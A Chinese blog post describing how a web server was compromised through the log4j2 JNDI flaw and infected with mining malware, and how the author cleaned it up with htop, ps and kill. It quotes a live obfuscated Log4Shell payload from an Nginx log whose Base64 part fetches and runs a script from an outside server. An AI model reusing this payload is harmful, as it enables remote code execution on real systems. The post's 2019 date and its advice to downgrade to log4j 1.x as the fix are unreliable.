> 文档中心 > 解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击

解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击


1.前因

在2019年12月份,爆出来的log4j2漏洞,当时可谓满城风雨。当时自己的一个框架刚好从log4j升级到log4j2。按照当时的方案,临时做了修复,但终究还是抵不过残酷的现实,该来的始终还是会来的。因此不可轻视这些安全的问题。

2.发现中病毒的过程

一大早起床,手机就收到短信,说某某服务器中病毒了。因为服务器是在阿里云上,所以上班后第一件事情就是就是进入阿里云后台。在云阿里云中心查看,果然中招。

 

查看这个恶意的脚本代码,发现是从java web项目中来的。再根据现在他攻击的脚本,发现就是利用了log4j2的漏洞进来的。

接着我们根据阿里云扫描得到的信息,第一时间先去把它在我们服务器上留存的脚本,先删掉。

使用 rm -rf ****  这样的命令,把那些文件全部干掉。

 通过这些信息,我们发现,他脚本信息是存放在/tmp目录下。

3.解决思路

3.1.先分析病毒从哪里进来的,先修改这个源头的来源。

防止我们在服务器拼命杀毒,最后,攻击者还是 可以轻易的把脚本弄进来。前面我们已经知道攻击者是从我们的web项目进来的。然后前端我们的使用Nginx进行请求分发。所以通过这条线索,我们查看Nginx的请求日志,根据阿里云发现病毒的时间,我们查看日志的时候,重点查看这段时间内是否有异常的请求。

159.203.95.42 - - [18/Mar/2022:07:46:44 +0800] "GET /:443:undefined?id= HTTP/1.1" 404 128 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "-"

最后一段参数通过Base64位解码:最终就是攻击的脚本了。

 最后我们确定这就是log4j2漏洞,被人攻击了。

3.2.先修改项目中的log4j2版本

因为项目springboot版本不是特别高,之前一直是使用1.几的版本,本来是想着log4j2的功能更丰富和性能更好,所以升级了。现在为了解决问题,先把log4j版本,降低到原来的使用版本。这样最快速解决问题。

3.3.删掉这个漏洞加载进/tmp下的文件

这个相对比较简单一些。因为一般情况下,/tmp目录下的文件,都不是特别重要的文件。

所以看到默认的文件,就把它们干掉。

3.4.安装htop工具,查看异常的进程

这个工具非常有用,白天因为病毒一起来,阿里云几分钟之内就把那些进程杀死了。但是因为病毒已经进来,并创建了很多个守护进程。我们通过top命令,又查不到这些特殊的进程存在。因此很难发现异常情况。

先安装htop工具,我这边的系统centos7.9的系统。

yum -y install htop

安装完后,直接在输入 htop  命令就可以执行了。退出命令,直接按F10  即可。

 一般情况下,我们正常的进程,command这一列都是具体的路径,或者是具体名称。但看到这种一串字符的进程。估计就是病毒进程了。

通过这个线索,我们通过ps aux|grep pid 来查看,具体的进程所在的位置,和他的启动时间。

ps aux|grep  PID

在查询的过程中,发现这些进程中有 defunct  这个标识。一查才发现,原来这些是僵尸进程的标识。从发现病毒到当天晚上10点多,通过以下命令查看,竟然有300多个僵尸进程存在。怪不得,隔一段时间,就会发起一波攻击,原因就是这些僵尸进程导致的。

ps aux|grep defunct

这里特别要注意,要杀僵尸进程,一定要先杀死他的父进程,这样子进程就会自动挂了。

结合下面命令进行杀父进程

kill -9  pid

技巧,当时看到僵尸进程有300多个,心碎了一地,这要杀到什么时候,最后实践得出一个规律,那就是从最早产生的进程杀起。一般这些进程基本上就是父进程了。

杀完之后,再使用命令查看,是否减少了。

ps aux|grep defunct

 最后看到这里,基本上就杀完了。

总结一下,一般这种病毒为什么杀了之后,还会不断的出现,本质上就是因为这些守护进程还存在,不把这些守护进程杀掉,那分分钟钟攻击还是会起来。

4.最后我们通过监控,看cpu还会不会突然起来,来判断是否把这些病毒清掉了。